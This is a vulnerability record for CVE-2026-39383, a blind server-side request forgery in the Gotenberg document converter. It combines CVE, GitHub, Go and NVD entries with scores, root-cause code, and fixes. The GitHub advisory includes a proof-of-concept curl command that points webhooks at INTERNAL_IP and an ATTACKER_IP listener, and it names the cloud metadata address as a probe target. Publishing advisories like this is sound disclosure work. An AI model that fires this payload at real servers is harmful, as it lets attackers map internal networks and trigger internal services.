CVE-2026-39383
JSON

6.9medium

Gotenberg unauthenticated blind SSRF via unfiltered webhook URL

Severity
6.9medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.24% (higher than 15% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-5vh4-rgv7-p9g4GO-2026-5155

Description

Gotenberg is an API-based document conversion tool. In version 8.29.1, an unauthenticated attacker with network access can force the server to make outbound HTTP POST requests to arbitrary internal or external destinations by supplying a crafted URL in the Gotenberg-Webhook-Url request header. The FilterDeadline function in filter.go is intended to gate outbound URLs, but when both the allow-list and deny-list are empty (the default configuration), it returns nil unconditionally and permits any URL. This is a blind SSRF: Gotenberg POSTs the converted document to the webhook URL and only checks whether the response status code is an error, but never returns the target's response body to the attacker. An attacker can use this to probe internal network infrastructure by observing whether the error callback is invoked, force POST requests against internal services that perform side effects, and confirm reachability of cloud metadata endpoints. The retryable HTTP client issues up to 4 automatic retries per request, amplifying each probe. This issue has been fixed in version 8.31.0. As a workaround, configure the GOTENBERG_API_WEBHOOK_ALLOW_LIST environment variable to restrict webhook URLs to known receivers, or set GOTENBERG_API_WEBHOOK_DENY_LIST to block RFC-1918 and link-local address ranges.

Affected

Product or packageVersionsReported by
gotenberg gotenberg< 8.31.0CVE List
github.com/gotenberg/gotenberg/v8 (Go)from 8.29.1 before 8.31.0GitHub Advisory Database, Go Vulnerability Database
github.com/gotenberg/gotenberg/v7 (Go)all versionsGo Vulnerability Database
thecodingmachine gotenbergfrom 8.29.1 before 8.31.0NVD

All scores

GitHub_M6.9medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
GitHub8.6medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
NVD7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Classification

CWE-918

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

Gotenberg is an API-based document conversion tool. In version 8.29.1, an unauthenticated attacker with network access can force the server to make outbound HTTP POST requests to arbitrary internal or external destinations by supplying a crafted URL in the Gotenberg-Webhook-Url request header. The FilterDeadline function in filter.go is intended to gate outbound URLs, but when both the allow-list and deny-list are empty (the default configuration), it returns nil unconditionally and permits any URL. This is a blind SSRF: Gotenberg POSTs the converted document to the webhook URL and only checks whether the response status code is an error, but never returns the target's response body to the attacker. An attacker can use this to probe internal network infrastructure by observing whether the error callback is invoked, force POST requests against internal services that perform side effects, and confirm reachability of cloud metadata endpoints. The retryable HTTP client issues up to 4 automatic retries per request, amplifying each probe. This issue has been fixed in version 8.31.0. As a workaround, configure the GOTENBERG_API_WEBHOOK_ALLOW_LIST environment variable to restrict webhook URLs to known receivers, or set GOTENBERG_API_WEBHOOK_DENY_LIST to block RFC-1918 and link-local address ranges.

GitHub Advisory Database

CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg

Severity

FieldValue
CVSS v3.18.6 High
VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWECWE-918 — Server-Side Request Forgery
AuthNone

Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.


Impact

An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.

This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.

The practical impact is therefore:

  • Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
  • Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
  • Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.


Proof of Concept

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
  -F 'url=https://example.com'

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
    if len(allowed) > 0 { ... }  // skipped — empty by default
    if len(denied) > 0  { ... }  // skipped — empty by default
    return nil                    // any URL passes
}

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.


Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".


Timeline

DateEvent
2026-04-04Vulnerability discovered
2026-04-05SSRF confirmed — outbound POST captured at local listener
2026-04-05Report drafted for disclosure
Go Vulnerability Database

Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL in github.com/gotenberg/gotenberg

NVD (es)

Gotenberg es una herramienta de conversión de documentos basada en API. En la versión 8.29.1, un atacante no autenticado con acceso a la red puede forzar al servidor a realizar solicitudes HTTP POST salientes a destinos internos o externos arbitrarios al proporcionar una URL manipulada en el encabezado de solicitud Gotenberg-Webhook-Url. La función FilterDeadline en filter.go está destinada a controlar las URL salientes, pero cuando tanto la lista de permitidos como la lista de denegados están vacías (la configuración predeterminada), devuelve nil incondicionalmente y permite cualquier URL. Esto es un SSRF ciego: Gotenberg envía el documento convertido a la URL del webhook y solo verifica si el código de estado de la respuesta es un error, pero nunca devuelve el cuerpo de la respuesta del objetivo al atacante. Un atacante puede usar esto para sondear la infraestructura de red interna observando si se invoca la devolución de llamada de error, forzar solicitudes POST contra servicios internos que realizan efectos secundarios y confirmar la accesibilidad de los puntos finales de metadatos en la nube. El cliente HTTP reintentable emite hasta 4 reintentos automáticos por solicitud, amplificando cada sondeo. Este problema ha sido solucionado en la versión 8.31.0. Como solución alternativa, configure la variable de entorno GOTENBERG_API_WEBHOOK_ALLOW_LIST para restringir las URL de webhook a receptores conocidos, o establezca GOTENBERG_API_WEBHOOK_DENY_LIST para bloquear los rangos de direcciones RFC-1918 y link-local.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-39383 changed 2026-05-06CVE Terms of Use
GitHub Advisory DatabaseGHSA-5vh4-rgv7-p9g4 changed 2026-06-25CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5155 changed 2026-06-25CC-BY-4.0
NVDCVE-2026-39383 changed 2026-07-24Public domain